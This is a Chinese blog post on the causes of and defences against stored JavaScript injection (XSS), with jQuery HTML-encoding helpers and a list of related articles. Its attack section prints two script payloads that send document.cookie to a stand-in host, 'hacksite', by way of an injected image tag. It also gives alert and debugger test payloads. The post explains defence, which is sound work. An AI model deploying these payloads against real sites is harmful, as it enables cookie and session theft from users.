JavaScript注入漏洞的原理及防范(详解)


Posted in Javascript onDecember 04, 2016

初次接触:

初次接触JavaScript注入漏洞后,如果不对这种漏洞的作用机理仔细分析并提取出其发生的某种模式,你就不能做到快速的发现项目中可能存在的所有注入风险并在代码中防范。

发生模式:

JavaScript注入漏洞能发生作用主要依赖两个关键的动作,一个是用户要能从界面中注入JavaScript到系统的内存或者后台存储系统中;二是系统中存在一些UI会展示用户注入的数据。

比如注入漏洞最常见的就是发生在各种类型的名字中,比如系统中的人名等等,因为名字往往会在各种系统上显示,如果在某个用户输入名字的时候注入了脚本,那么受其影响的各个系统都有发生注入漏洞的风险。

曾经在帮别的项目做Bug Bash时,我给系统中的一个名字中注入了JavaScript脚本,结果导致使用这个名字的8个子系统、站点、app出现问题。

解决方案:

防范注入漏洞主要有两个思路:一个是在用户输入数据后Encode内容后再保存到持久存储,另一个是在展示用户输入数据的地方Encode从持久存储中取到的数据。

方法一的优点是一般存储用户输入数据的代码少而固定但展示输入数据的UI界面可能有很多而且还会有变化的可能,因此比较好防范;但缺点是存储在持久存储中的数据是Encode后的。

方法二的优点是存储在持久存储中的数据原始内容;但缺点是需要在多处UI界面中写代码防范,而且还得确保在增加新的UI时不忘防范。比如现在Web app比较流行,公司决定开发,那么在开发的过程必须要做好防范,否则可能别的地方都防范好了,但新系统中却没有做好防范,漏洞最后还是发生了。

JavaScript Html Encode/Decode by jQuery:

function htmlEncode(value){

return $('<div/>').text(value).html();

}

function htmlDecode(value){

return $('<div/>').html(value).text();

}

漏洞被用于攻击时注入内容:

jQuery场景:

<script>var i=$("<img></img>");i.attr("src", "http://hacksite?k="+document.cookie);$('body').append(i)</script>

原生JS场景:

<script>var d=document;var i=d.createElement("img");i.setAttribute("src","http://hacksite?k="+d.cookie);d.body.appendChild(i)</script>

测试漏洞时注入内容:

<script>alert(0)</script>

<script>debugger</script> --辅助开发人员快速定位出错的JavaScript代码(打开调试器的情况下)。

以上这篇JavaScript注入漏洞的原理及防范(详解)就是小编分享给大家的全部内容了,希望能给大家一个参考,也希望大家多多支持三水点靠木。

Javascript 相关文章推荐
javascript eval函数深入认识
Feb 21 Javascript
JavaScript游戏之优化篇
Nov 08 Javascript
node.js中的fs.lstatSync方法使用说明
Dec 16 Javascript
Bootstrap中的fileinput 多图片上传及编辑功能
Sep 05 Javascript
简单学习vue指令directive
Nov 03 Javascript
原生的强大DOM选择器querySelector介绍
Dec 21 Javascript
js轮播图的插件化封装详解
Jul 17 Javascript
React 子组件向父组件传值的方法
Jul 24 Javascript
Vuejs 2.0 子组件访问/调用父组件的方法(示例代码)
Feb 08 Javascript
React如何避免重渲染
Apr 10 Javascript
原生js canvas实现鼠标跟随效果
Aug 02 Javascript
JavaScript前端面试组合函数
Jun 21 Javascript
浅谈html转义及防止javascript注入攻击的方法
Dec 04 #Javascript
jquery select2的使用心得(推荐)
Dec 04 #Javascript
Jquery删除css属性的简单方法
Dec 04 #Javascript
浅谈jQuery before和insertBefore的区别
Dec 04 #Javascript
jQuery根据ID、CLASS、等获取对象的实例
Dec 04 #Javascript
jQuery得到多个值只能用取Class ,不能用取ID的方法
Dec 04 #Javascript
javaScript中定义类或对象的五种方式总结
Dec 04 #Javascript
You might like
php5 mysql分页实例代码
2008/04/10 PHP
php数组函数序列之asort() - 对数组的元素值进行升序排序,保持索引关系
2011/11/02 PHP
解决PHP超大文件下载,断点续传下载的方法详解
2013/06/06 PHP
php修改数组键名的方法示例
2017/04/15 PHP
用YUI做了个标签浏览效果
2007/02/20 Javascript
利用Dojo和JSON建立无限级AJAX动态加载的功能模块树
2007/03/24 Javascript
js修改地址栏URL参数解决url参数问题
2012/12/15 Javascript
纯js网页画板(Graphics)类简介及实现代码
2012/12/24 Javascript
JavaScript中“基本类型”之争小结
2013/01/03 Javascript
jQuery动画效果animate和scrollTop结合使用实例
2014/04/02 Javascript
Web开发必知Javascript技巧大全
2016/02/23 Javascript
Node.js插件安装图文教程
2016/05/06 Javascript
jQuery插件cxSelect多级联动下拉菜单实例解析
2016/06/24 Javascript
JavaScript实现图像模糊化的方法实例
2017/01/15 Javascript
jQuery实现注册会员时密码强度提示信息功能示例
2017/09/05 jQuery
JavaScript体验异步更好的解决办法
2018/01/08 Javascript
详解extract-text-webpack-plugin 的使用及安装
2018/06/12 Javascript
微信小程序使用Vant Weapp组件库的方法步骤
2019/08/01 Javascript
no-vnc和node.js实现web远程桌面的完整步骤
2019/08/11 Javascript
nodemon实现Typescript项目热更新的示例代码
2019/11/19 Javascript
JS表单验证插件之数据与逻辑分离操作实例分析【策略模式】
2020/05/01 Javascript
JS异步宏队列微队列原理详解
2020/09/09 Javascript
利用Python-iGraph如何绘制贴吧/微博的好友关系图详解
2017/11/02 Python
python Web开发你要理解的WSGI &amp; uwsgi详解
2018/08/01 Python
python实现自动登录后台管理系统
2018/10/18 Python
Django项目后台不挂断运行的方法
2019/08/31 Python
Python 元组拆包示例(Tuple Unpacking)
2019/12/24 Python
药剂专业学生求职信范文
2013/12/28 职场文书
运动会广播稿200米
2014/01/27 职场文书
社区活动邀请函范文
2014/01/29 职场文书
行政部岗位职责范本
2014/03/13 职场文书
三年级班级文化建设方案
2014/05/04 职场文书
优秀教导主任事迹材料
2014/05/09 职场文书
圣诞晚会主持词开场白
2015/05/28 职场文书
MATLAB 全景图切割及盒图显示的实现步骤
2021/05/14 Python
浅谈PHP7中的一些小技巧
2021/05/29 PHP